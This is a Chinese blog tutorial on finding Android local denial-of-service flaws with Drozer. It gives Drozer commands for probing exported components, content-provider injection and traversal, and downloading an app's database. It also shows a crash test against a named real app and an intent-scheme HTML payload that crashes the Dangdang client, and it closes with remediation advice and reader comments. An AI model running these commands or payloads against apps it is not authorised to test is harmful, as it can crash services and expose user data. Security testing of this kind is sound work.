利用Drozer进行app本地拒绝服务漏洞测试
0x01 基本介绍
[1]本地拒绝服务漏洞基本介绍
1) 漏洞位置:
处理getIntent()的intent附带的数据
2) 漏洞触发前提条件:
getIntent()的intent附带空数据、异常或畸形数据;
处理getXXXExtra()获取的数据时没有进行异常捕获;
3) 漏洞原理:
Android系统中提供了Intent机制来协助应用间的交互与通讯,其负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述,系统则根据此Intent的描述,负责找到对应的组件,将Intent传递给调用的组件,并完成组件的调用。调用的组件在处理Intent附加数据的时候,没有进行异常捕获,因此当处理空数据、异常或者畸形数据时,导致应用崩溃。
[2]Drozer基本使用方法介绍
(参考来源:http://drops.wooyun.org/tips/2997)
安装
1) windows安装 下载:
https://www.mwrinfosecurity.com/products/drozer/community-edition/
在Android设备中安装agent.apk:
>adb install agent.apk
|
或者直接连接USB把文件移动到内存卡中安装
2) *inux安装(Debian/Mac)
1
2
3
4
5
6
|
$ wget http: //pypi .python.org /packages/2 .7 /s/setuptools/setuptools-0 .6c11-py2.7.egg
$ sh setuptools-0.6c11-py2.7.egg $ easy_install --allow-hosts pypi.python.org protobuf $ easy_install twisted==10.2.0 $ easy_install twisted . /drozer-2 .3.0-py2.7.egg
$ drozer // 运行测试
|
下面介绍三种方法运行
1) USB方式
1
2
3
|
>adb forward tcp:31415 tcp:31415 //adb 目录下运行次命令
选择drozer>Embedded Server>Enabled >drozer.bat console connect // 在PC端drozer目录下运行此命令
|
2) Wifi方式(常用)
1
|
>drozer.bat console connect --server 192.168.1.12:31415 // 在PC端执行192.168.1.12为android端ip和端口
|
3) Infrastructure Mode 这种模式涉及到三个通信方,drozer server、drozer agent(Android 设备中)与drozer console。
其中server与agent,server与console需要网络互通。这种模式的好处是你不需要知道android设备的ip,
agent与console的ip段可以隔离的,并且可以支持一个server对应多个设备的操作。
>drozer.bat server start |
在Android设备上新建一个New Endpoint,修改配置Host为PC server端ip,并且启用Endpoint
1
|
>drozer console connect --server 192.168.1.2:31415 //192 .168.1.2为server端ip和端口
|
使用基本操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
> list //列出目前可用的模块,也可以使用ls > help app.activity.forintent //查看指定模块的帮助信息 > run app.package.list //列出android设备中安装的app > run app.package.info -a com.android.browser //查看指定app的基本信息 > run app.activity.info -a com.android.browser //列出app中的activity组件 > run app.activity.start --action android.intent.action.VIEW --data-uri http://www.google.com //开启一个activity,例如运行浏览器打开谷歌页面 > run scanner.provider.finduris -a com.sina.weibo //查找可以读取的Content Provider > run app.provider.query content://settings/secure --selection "name='adb_enabled'" //读取指定Content Provider内容 > run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo //列出指定文件路径里全局可写/可读的文件 > run shell.start //shell操作 > run tools.setup.busybox //安装busybox > list auxiliary //通过web的方式查看content provider组件的相关内容 > help auxiliary.webcontentresolver //webcontentresolver帮助 > run auxiliary.webcontentresolver //执行在浏览器中以http://localhost:8080即可访问 以sieve示例 > run app.package.list -f sieve //查找sieve应用程序 > run app.package.info -a com.mwr.example.sieve //显示app.package.info命令包的基本信息 > run app.package.attacksurface com.mwr.example.sieve //确定攻击面 > run app.activity.info -a com.mwr.example.sieve //获取activity信息 > run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //启动pwlist > run app.provider.info -a com.mwr.example.sieve //提供商信息 > run scanner.provider.finduris -a com.mwr.example.sieve //扫描所有能访问地址 >run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical //查看DBContentProvider/Passwords这条可执行地址 > run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" //检测注入 > run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //查看读权限数据 > run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据 > run scanner.provider.injection -a com.mwr.example.sieve //扫描注入地址 > run scanner.provider.traversal -a com.mwr.example.sieve > run app.service.info -a com.mwr.example.sieve //查看服务 |
0x02 测试流程(案例)
分享一个最近挖的教育技术服务平台的拒绝服务漏洞测试流程
(http://www.wooyun.org/bugs/wooyun-2010-0146074)
首先查看Activity暴露组件:
1 |
run app.activity.info -a com.ime.xmpp |
1 2 3 4 5 6 |
com.ime.xmpp.WelcomeFirstActivity Permission: null com.ryg.dynamicload.DLProxyActivity Permission: null com.ryg.dynamicload.DLProxyFragmentActivity Permission: null |
然后测试相关组件(向组件发送空的intent,查看客户端app是否崩溃退出)
1 2 |
dz> run app.activity.start --component com.ime.xmpp com.ryg.dynamicload.DLProxyActivity dz> run app.activity.start --component com.ime.xmpp com.ryg.dynamicload.DLProxyFragmentActivity |
效果:
应用程序进程崩溃
0x03 补充(Intent scheme URL attack)
- 拒绝服务远程攻击(IntentScheme)
利用思路(参考地址:http://drops.wooyun.org/papers/2893):
在Android上的Intent-based攻击很普遍,这种攻击轻则导致应用程序崩溃,重则可能演变提权漏洞。当然,通过静态特征匹配,Intent-Based的恶意样本还是很容易被识别出来的。 然而最近出现了一种基于Android Browser的攻击手段——Intent Scheme URLs攻击。这种攻击方式利用了浏览器保护措施的不足,通过浏览器作为桥梁间接实现Intend-Based攻击。相比于普通Intend-Based攻击,这种方式极具隐蔽性,而且由于恶意代码隐藏WebPage中,传统的特征匹配完全不起作用。除此之外,这种攻击还能直接访问跟浏览器自身的组件(无论是公开还是私有)和私有文件,比如cookie文件,进而导致用户机密信息的泄露。
参考案例:
http://www.wooyun.org/bugs/wooyun-2010-0123649(当当Android客户端拒绝服务漏洞)
示例代码:
1 2 |
<h1><a href="intent:#Intent;component=com.dangdang.buy2/com.dangdang.buy2.activities.FirenzeDetailsActivity;end">com.dangdang.buy2.activities.FirenzeDetailsActivity </a><br> |
效果:
Crash日志:
0x04 修复建议
- 将不必要的导出的组件设置为不导出
设置export为false - intent处理数据时进行捕获异常通过Intent.getXXXExtra()获取的数据时进行以下判断,以及用try catch方式进行捕获所有异常,以防止应用出现拒绝服务漏洞:
1) 空指针异常;
2) 类型转换异常;
3) 数组越界访问异常;
4) 类未定义异常;
5) 其他异常;
博主你好, 我在模拟器对app进行本地dos执行成功
但是使用IntentScheme远程拒绝服务的方法却执行不了。
我的环境是夜神 安卓4.4.2
com.android.browser 版本为Version: 4.4.2-381190705
希望能博主交流一下这个问题。
抱歉博主,我还是详细的查阅了资料后才发现问题出在我com.android.browser版本太高。需要4.2.2或以下版本才能被执行成功。我试试降一下级尝试一下。另外此篇drozer讲解得非常详细,good job!